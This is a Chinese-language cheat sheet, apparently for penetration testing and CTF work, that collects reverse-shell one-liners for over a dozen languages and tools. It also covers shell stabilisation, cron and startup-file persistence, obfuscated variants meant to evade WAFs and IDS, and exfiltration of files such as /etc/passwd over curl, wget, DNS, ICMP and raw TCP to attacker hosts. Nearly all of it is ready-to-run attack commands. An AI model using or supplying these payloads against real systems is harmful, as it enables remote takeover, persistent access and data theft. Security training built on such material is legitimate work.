前言 拿到命令执行点后,下一步往往是把 shell 弹出来,或者把执行结果带出来。反弹 shell 的方法很多,但不同环境可用工具不同(可能没有 nc、没有 /dev/tcp、没有 python),所以手里备一套完整的弹 shell 字典很实用。
本文将常见的反弹 shell 和外带数据方法做了系统整理,覆盖 bash、Python、Perl、PHP、Ruby、nc、socat、telnet、OpenSSL、PowerShell 等十余种方式,以及 curl、DNS、ICMP 等多种外带技巧。
一、反弹 Shell
通用前提: 攻击机执行 nc -lvvp 4444 开启监听,以下命令中的 IP 和端口请替换为攻击机的实际地址。
1.1 Bash 反弹 最常用的方式,前提是目标存在 /dev/tcp(多数 Linux 发行版编译 bash 时都带这个特性)。
1 2 3 4 5 bash -i >& /dev/tcp/192.168.254.1/4444 0>&1 bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
解读:
符号
含义
>&
将 stdout 和 stderr 都重定向到后面的文件描述符
/dev/tcp/IP/PORT
bash 内建的 TCP 连接,相当于创建一个到目标 IP:端口的 socket
0>&1
将 stdin(fd 0)也指向同一个 socket
所以整条命令的效果是:stdin、stdout、stderr 全部连接到一个 TCP socket → 攻击者的 nc 获得了交互式 shell。
其他 bash 写法:
1 2 3 4 5 exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done bash -i 5<>/dev/tcp/ATTACKER_IP/4444 0<&5 1>&5 2>&5
bash + curl 组合反弹 当目标不能直接 bash -i >& /dev/tcp(如某些容器精简版 bash),可以将反弹命令托管在 VPS 上的文件里:
攻击机 index.html/index.php:
1 bash -i >& /dev/tcp/攻击机IP/4444 0>&1
攻击机同时监听:
目标执行:
1 2 3 curl 192.168.254.1|bash wget -O- 192.168.254.1|bash
1.2 nc / netcat 反弹 1 2 3 4 5 6 7 8 9 10 11 nc -e /bin/sh 192.168.1.1 4444 rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/fnc -c /bin/sh ATTACKER_IP 4444 busybox nc ATTACKER_IP 4444 -e /bin/sh
1.3 Python 反弹 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c 'import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])' python3 -c 'import socket,subprocess,os,pty s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")'
1.4 PHP 反弹 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4444);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4444);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",4444);$proc=popen("/bin/sh -i","w");while(1){fwrite($proc,fgets($sock));}' php -r ' $sock=fsockopen("10.0.0.1",4444); $proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes); '
1.5 Perl 反弹 1 2 3 4 perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' perl -MIO -e '$p=fork;exit,if($p);$c=IO::Socket::INET->new(PeerAddr=>"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);exec("/bin/sh -i");'
1.6 Ruby 反弹 1 2 3 4 ruby -rsocket -e 's=TCPSocket.new("10.0.0.1",4444);["/bin/sh","-i"].each{|c|IO.popen(c,"r+"){|io|STDIN.reopen(s);STDOUT.reopen(s);io.each{|l|s.write(l)}}}' ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1",4444);exec(sprintf("/bin/sh -i <&%d >&%d 2>&%d",c.fileno,c.fileno,c.fileno))'
1.7 Lua 反弹 1 lua -e 'require("socket");s=socket.tcp();s:connect("10.0.0.1",4444);s:setoption("keepalive",true);os.execute("/bin/sh -i <&3 >&3 2>&3");'
1.8 Golang 反弹 1 echo 'package main;import("os/exec"."net");func main(){c,_:=net.Dial("tcp","10.0.0.1:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/shell.go && go run /tmp/shell.go
1.9 awk / gawk 反弹 1 2 3 4 5 awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(1) {do {printf "> " |& s; s |& getline c; if(c){while ((c |& getline) > 0) print $0 |& s; close(c)}} while(c != "exit"); close(s)}}' gawk 'BEGIN {P=4444;S="> ";H="ATTACKER_IP";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")}}'
1.10 Socat 反弹 1 2 3 4 5 socat file:`tty `,raw,echo =0 TCP-L:4444 socat exec :'bash -li' ,pty,stderr,setsid,sigint,sane TCP:ATTACKER_IP:4444
socat 是一个比 nc 更强大的网络工具,编译好的静态二进制可以直接上传使用。
1.11 OpenSSL 加密反弹(绕过 IDS/WAF) 攻击端生成证书并监听:
1 2 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
目标端:
1 rm /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:4444 > /tmp/s; rm /tmp/s
流量经过 TLS 加密,IDS 无法直接检测内容。
1.12 PowerShell(Windows) 1 2 3 4 5 powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client .GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream .Read($bytes , 0, $bytes .Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0, $i );$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0,$sendbyte .Length);$stream .Flush()};$client .Close()" powershell iex (New-Object Net.WebClient).DownloadString('http://YOUR_IP/Invoke-PowerShellTcp.ps1' )
1.13 Java/JSP 反弹 1 2 3 4 <% Runtime r = Runtime.getRuntime();Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done'" );%>
1.14 telnet 反弹 当 nc 和 /dev/tcp 都不可用时,可以用 telnet:
方法一(单管道):
1 mknod a p; telnet ATTACKER_IP 2333 0<a | /bin/bash 1>a
方法二(双管道,攻击机需开两个端口):
1 2 3 4 5 6 nc -lvvp 2333 nc -lvvp 4000 telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
二、Shell 升级(TTY 稳定化) 裸反弹 shell 往往不支持 tab 补全、Ctrl-C 会断连、没有伪终端。拿到 shell 后第一时间应该做升级。
2.1 Python pty 1 2 3 python3 -c 'import pty;pty.spawn("/bin/bash")' python -c 'import pty;pty.spawn("/bin/bash")'
然后(在 shell 内):
1 2 3 4 export TERM=xtermstty raw -echo ; fg
2.2 script 方式 1 2 3 script /dev/null -c /bin/bash script -qc /bin/bash /dev/null
2.3 Socat 升级 在目标机上传 socat 后:
1 2 socat exec :'bash -li' ,pty,stderr,setsid,sigint,sane TCP:ATTACKER_IP:4444
三、定时任务反弹 将反弹 shell 写入 cron,实现持久化回调。
1 2 3 4 5 6 7 8 9 whoami crontab -e */1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1" crontab -l
有 root 权限时直接写系统 cron(注意路径因发行版而异 ):
1 2 3 4 5 6 7 8 9 10 11 echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"' >> /var/spool/cron/rootchmod 600 /var/spool/cron/rootecho '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"' >> /var/spool/cron/crontabs/rootchmod 600 /var/spool/cron/crontabs/rootsystemctl restart cron
也可以通过直接编辑文件的方式:
1 2 3 4 5 vim /var/spool/cron/crontabs/root */1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1" systemctl restart cron
其他持久化文件 1 2 3 4 5 6 7 8 echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/profileecho 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> ~/.bashrcecho 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /etc/rc.local
四、反弹 Shell 绕过技巧 4.1 命令 WAF 绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 bash${IFS} -i${IFS} >&${IFS} /dev/tcp/10.0.0.1/4444${IFS} 0>&1 bash -c $'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=' | base64 -d | bashecho 62617368202d69203e26202f6465762f7463702f31302e302e302e312f3434343420303e2631 | xxd -r -p | bash/???/b??? -i >& /???/t??/10.0.0.1/4444 0>&1 a=b;b=ash;$a$b -i >& /dev/tcp/10.0.0.1/4444 0>&1
4.2 端口复用与隧道 1 2 3 4 5 6 7 ssh -R 4444:localhost:4444 user@ATTACKER_IP bash -i >& /dev/tcp/10.0.0.1/53 0>&1 bash -i >& /dev/tcp/10.0.0.1/80 0>&1 bash -i >& /dev/tcp/10.0.0.1/443 0>&1
五、外带数据 当命令有回显但浏览器不显示(盲 RCE)、或者命令执行结果不能直接在 Web 页面中展示时,需要把数据”带出来”。
5.1 curl 文件外带 1 2 3 4 5 6 curl -X POST -F xx=@flag.php http://YOUR_BURP_COLLABORATOR.oastify.com
5.2 curl 命令结果外带 1 2 3 4 5 6 7 8 9 10 curl http://YOUR_DOMAIN/$(whoami ) curl http://YOUR_DOMAIN/`ls |head -1` curl http://YOUR_DOMAIN/$(cat /flag | base64 ) curl http://YOUR_DOMAIN/$(id )_$(pwd )_$(ls |base64 ) curl -X POST -d "$(cat /etc/passwd) " http://YOUR_DOMAIN/
注意: URL 路径中的特殊字符(/、&、= 等)会被 curl 截断或导致请求失败。建议先 base64 编码再外带。
5.3 wget 外带 1 2 3 wget http://YOUR_DOMAIN/$(cat /flag | base64 ) wget --post-data="$(id) " http://YOUR_DOMAIN/
5.4 DNS 外带(最隐蔽) 当目标不出 HTTP 但 DNS 能出网时,可以用 DNS 查询把数据带出来。一次 DNS 请求最多传输约 63 字节(单个域名标签)。
1 2 3 4 5 6 7 8 nslookup $(whoami ).YOUR_DOMAIN ping -c 1 $(cat /flag).YOUR_DOMAIN cat /etc/passwd | xxd -p -c 16 | while read line; do nslookup $line .YOUR_DOMAIN done
DNS 外带需要你控制一个域名的 NS 记录,在 DNS 服务器上抓包查看查询日志。工具推荐:Burp Collaborator、Interactsh、dnslog.cn。
5.5 ICMP 外带 1 2 3 4 cat /flag | xxd -p -c 16 | while read line; do ping -c 1 -p $line ATTACKER_IP done
攻击端用 tcpdump 抓 ICMP 包提取数据:
ICMP 外带速度慢,稳定性一般,但能绕过只做 TCP/UDP 层过滤的防火墙。
5.6 /dev/tcp 外带 1 2 3 4 5 cat /flag > /dev/tcp/ATTACKER_IP/4444echo "$(whoami) :$(cat /flag) " > /dev/tcp/ATTACKER_IP/4444
攻击端只需 nc -lvvp 4444 接收。
5.7 base64 编码 + 分段外带 对于长文本内容(如源码、配置文件),建议 base64 编码后分段外带:
1 2 3 4 5 6 7 cat /flag | base64 | fold -w 64 | while read line; do curl http://YOUR_DOMAIN/?d=${line} done curl http://YOUR_DOMAIN/?d=$(cat /flag | base64 -w0)
5.8 nc 接收数据 1 2 3 4 5 6 7 8 nc ATTACKER_IP 4444 < /flag (echo "=== hostname ===" ; hostname; echo "=== id ===" ; id ) | nc ATTACKER_IP 4444 nc -lvvp 4444 > received_data.txt
5.9 Python HTTP Server 回传 如果目标可以访问攻击机的 HTTP 服务:
1 2 3 4 5 python3 -m http.server 8888 curl -F "file=@/flag" http://ATTACKER_IP:8888/
5.10 外带技巧对比
方式
隐蔽性
稳定性
数据量
适用场景
curl 路径拼接
低(URL 中明显)
高
小(63 字节内)
快速测试
curl POST 上传
中
高
大
文件外带
DNS
高(看起来是正常 DNS 查询)
中
小(需分段)
不出网 HTTP
ICMP
高
低
小(需分段)
防火墙仅放行 ICMP
nc / /dev/tcp
低
高
大
内网直连
六、快速参考:按语言选择 拿到命令执行点后,根据目标环境选用对应方法:
1 2 3 4 5 6 7 8 9 10 11 有 bash + /dev/tcp → bash -i >& /dev/tcp/IP/PORT 0>&1 有 python → python -c '...' 有 nc (支持 -e) → nc -e /bin/sh IP PORT 有 nc (不支持 -e) → mkfifo + nc 管道方式 有 php → php -r '...fsockopen...' 有 perl → perl -e 'use Socket;...' 有 ruby → ruby -rsocket -e '...' 有 lua + luasocket → lua -e 'require("socket");...' 有 socat → socat exec:... TCP:IP:PORT 有 OpenSSL → openssl 加密反弹 Windows → PowerShell
七、快速参考:按外带条件选择 1 2 3 4 5 6 7 有 curl 且回显在 URL 中 → curl http://DOMAIN/$(cmd) 有 curl 且可 POST → curl -F file=@/flag DOMAIN DNS 出网 → nslookup $(cmd).DOMAIN ICMP 出网 → ping -p hex_data IP 直接 TCP 出网 → cat /flag > /dev/tcp/IP/PORT 有 wget → wget http://DOMAIN/$(cmd) 内置 HTTP Server → curl -F file=@/flag http://ATTACKER_IP:8888
参考